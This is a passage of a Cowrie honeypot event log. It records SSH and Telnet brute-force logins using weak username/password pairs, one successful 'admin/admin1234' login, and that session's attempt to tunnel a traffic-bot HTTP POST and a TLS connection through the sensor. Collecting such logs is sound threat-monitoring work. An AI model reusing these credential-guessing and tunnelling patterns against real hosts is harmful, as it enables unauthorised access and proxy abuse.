16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:40.911071Z","src_ip":"103.77.175.15","session":"e86b0f16bc05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260982","message":"login attempt [root/260982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:41.701569Z","src_ip":"103.77.175.15","session":"e86b0f16bc05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:42.965489Z","src_ip":"103.77.175.15","session":"e86b0f16bc05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba5580d67d7","protocol":"ssh","message":"New connection: 27.71.230.31:47892 (159.203.135.109:22) [session: 1ba5580d67d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:46.784521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:46.860068Z","src_ip":"27.71.230.31","session":"1ba5580d67d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34558,"dst_ip":"159.203.135.109","dst_port":23,"session":"460f267c9c7c","protocol":"telnet","message":"New connection: 128.199.8.54:34558 (159.203.135.109:23) [session: 460f267c9c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:47.462008Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:50.902818Z","src_ip":"27.71.230.31","session":"1ba5580d67d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$12345","message":"login attempt [root/admin$12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:52.665532Z","src_ip":"27.71.230.31","session":"1ba5580d67d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":34674,"dst_ip":"159.203.135.109","dst_port":22,"session":"b227e292c23d","protocol":"ssh","message":"New connection: 2.99.213.222:34674 (159.203.135.109:22) [session: b227e292c23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:59.429241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:59.433981Z","src_ip":"2.99.213.222","session":"b227e292c23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:59.534704Z","src_ip":"2.99.213.222","session":"b227e292c23d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db","password":"db","message":"login attempt [db/db] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:59.969891Z","src_ip":"2.99.213.222","session":"b227e292c23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:01.069899Z","src_ip":"2.99.213.222","session":"b227e292c23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:02.653257Z","src_ip":"27.71.230.31","session":"1ba5580d67d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":34506,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ba0297dc83","protocol":"ssh","message":"New connection: 41.90.100.147:34506 (159.203.135.109:22) [session: d5ba0297dc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:03.185354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:03.192872Z","src_ip":"41.90.100.147","session":"d5ba0297dc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:03.410404Z","src_ip":"41.90.100.147","session":"d5ba0297dc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morteza","password":"123456","message":"login attempt [morteza/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:04.312987Z","src_ip":"41.90.100.147","session":"d5ba0297dc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54589,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4d09f7b5fee","protocol":"ssh","message":"New connection: 113.164.152.20:54589 (10.17.0.5:22) [session: b4d09f7b5fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:04.399234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:04.403844Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:04.729451Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:05.532113Z","src_ip":"41.90.100.147","session":"d5ba0297dc83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:06.026626Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:06.481875Z","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:06.593631Z","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:06.923783Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; C30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YXReSXUjVkJLRDNeKD52JQ%3D%3DkkSV0T%2BwQDMTAxFXlJRltFTWBaFQ3o0KHE3aI5WUclUiEi7r3MohT%2BZTDshrtHuVkleJYF%2BCrY1XdxrwHVDJ%2FilaEn%2B5RctX3xD9gJOaEfFPOOmT5B4JjtkqcdoJ1GUF%2BNopJdg6f%2FeQ7qScwPASPkcAfgZ77IvYgMJlXqd8%2FvIvHFbyIJAJKol%2FWkFkdkB%2FhYqm2Ik6kuoIIa9FQSafiyW8jDGUT2K83SgfgLodz3dnMZ%2BFE9FoX5coL4GHE%2BbhYCQrcblm2Jsjij0SlsBb6kd95zFgCL1PephNo1SXc9V5%2BinJQ77Yb%2FtLzc3uu62zf1pPE6AZXTnYeRuweYb1a1ZNaAgHkD5tE4zIN9e5jZDVGTrTDXmojf24OBakLWlxh1Gr%2BANQxwICbWPRttI4DmQnZW%2Fogbbq4au5jKhNVLMkw6cH8iaH%2BP%2BQYAR1R%2B41%2BTUS4xL84AKzlAXMD1ffYKTX2U54zjCdBTP46%2BwCqsn38dpiy62EMRGjF4%2Bm34Z1foid0s58DGd7unJz6ADVf678vhCo6KQbhCLeU0O3dBPdcefXHFU3%2FOtz8WAxaX5DMJA1NqlyxTddneLkJJEsmF5k3SzotAiCTyTA3MSCXChFZN%2BID4bsO3DJIqX39cSPzt4tPu2PI38BNBf5kUVdcyo95PF6p%2FCZLv%2FfSLJCTBGuYG%2FoVw47UppUVmIRS3VlqzhyALm6HyTcNU%2BzT4SrxV41xv%2Fg47DZGiasLU3LuivoNb4Q2iKhtMiQqT10K8GrmbTpg1ysUw0ME%2FdhxCa9mdrEtABn1RtDUgd%2BWDDg9wRPClSH%2FqhTmmE%2BCIYrFSJv4XJ8DNrEXRzeiCToyG0z47SyYujpmkx3WSS3PqBXCWl2j8MuuVfNrA5P5TuWMKKLpzq%2FTtLhbHyfS0L%2BSgombXUnnmElBjYPmctfFpNBvDLeG6iSD77m2i6kFlS3evln6nBO4OQcFPpiX1Oj5Q7t75FdGd1pbqcmNBFgzWTeeN8sGHV2SSt1iYR3DOrH8YhpIvLwP2Iy48iZTGFV25nUV1DYaxgKt%2F6lFk9HWFQ%2FRao3DxZyWag9vzssMussCVzg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; C30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YXReSXUjVkJLRDNeKD52JQ%3D%3DkkSV0T%2BwQDMTAxFXlJRltFTWBaFQ3o0KHE3aI5WUclUiEi7r3MohT%2BZTDshrtHuVkleJYF%2BCrY1XdxrwHVDJ%2FilaEn%2B5RctX3xD9gJOaEfFPOOmT5B4JjtkqcdoJ1GUF%2BNopJdg6f%2FeQ7qScwPASPkcAfgZ77IvYgMJlXqd8%2FvIvHFbyIJAJKol%2FWkFkdkB%2FhYqm2Ik6kuoIIa9FQSafiyW8jDGUT2K83SgfgLodz3dnMZ%2BFE9FoX5coL4GHE%2BbhYCQrcblm2Jsjij0SlsBb6kd95zFgCL1PephNo1SXc9V5%2BinJQ77Yb%2FtLzc3uu62zf1pPE6AZXTnYeRuweYb1a1ZNaAgHkD5tE4zIN9e5jZDVGTrTDXmojf24OBakLWlxh1Gr%2BANQxwICbWPRttI4DmQnZW%2Fogbbq4au5jKhNVLMkw6cH8iaH%2BP%2BQYAR1R%2B41%2BTUS4xL84AKzlAXMD1ffYKTX2U54zjCdBTP46%2BwCqsn38dpiy62EMRGjF4%2Bm34Z1foid0s58DGd7unJz6ADVf678vhCo6KQbhCLeU0O3dBPdcefXHFU3%2FOtz8WAxaX5DMJA1NqlyxTddneLkJJEsmF5k3SzotAiCTyTA3MSCXChFZN%2BID4bsO3DJIqX39cSPzt4tPu2PI38BNBf5kUVdcyo95PF6p%2FCZLv%2FfSLJCTBGuYG%2FoVw47UppUVmIRS3VlqzhyALm6HyTcNU%2BzT4SrxV41xv%2Fg47DZGiasLU3LuivoNb4Q2iKhtMiQqT10K8GrmbTpg1ysUw0ME%2FdhxCa9mdrEtABn1RtDUgd%2BWDDg9wRPClSH%2FqhTmmE%2BCIYrFSJv4XJ8DNrEXRzeiCToyG0z47SyYujpmkx3WSS3PqBXCWl2j8MuuVfNrA5P5TuWMKKLpzq%2FTtLhbHyfS0L%2BSgombXUnnmElBjYPmctfFpNBvDLeG6iSD77m2i6kFlS3evln6nBO4OQcFPpiX1Oj5Q7t75FdGd1pbqcmNBFgzWTeeN8sGHV2SSt1iYR3DOrH8YhpIvLwP2Iy48iZTGFV25nUV1DYaxgKt%2F6lFk9HWFQ%2FRao3DxZyWag9vzssMussCVzg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:06.928068Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:07.210681Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F\\t\\xcf\\xa9\\xb1\\x170\\xa4\\xd9\\xcdg\\x90\\xf1\\xe7V\\x88\\x84\\xa5\\xaa\\xd7B\\xc9z#R\\x8f\\x8d)\\xe6\\x80\\x96  \\x86e\\xcd\\xa4\\x10\\x8d\\x9f,/&\\xa3\\x9f\\x88\\xab:H\\x8f\\x14M\\xfe\\xb6*k\\xf5\\xa3\\xe3\\x99\\xa6\\xe5P\\xc2\\xe0\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 ^\\xb9\\xe1I``?\\xd0\\xb6\\xf3\\xcd\\xce\\xb7x\\xee\\xfck\\xa3\\xb8a|:\\xe3B\\xfb\\xa13\\x89ra\\x1fj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F\\t\\xcf\\xa9\\xb1\\x170\\xa4\\xd9\\xcdg\\x90\\xf1\\xe7V\\x88\\x84\\xa5\\xaa\\xd7B\\xc9z#R\\x8f\\x8d)\\xe6\\x80\\x96  \\x86e\\xcd\\xa4\\x10\\x8d\\x9f,/&\\xa3\\x9f\\x88\\xab:H\\x8f\\x14M\\xfe\\xb6*k\\xf5\\xa3\\xe3\\x99\\xa6\\xe5P\\xc2\\xe0\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 ^\\xb9\\xe1I``?\\xd0\\xb6\\xf3\\xcd\\xce\\xb7x\\xee\\xfck\\xa3\\xb8a|:\\xe3B\\xfb\\xa13\\x89ra\\x1fj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\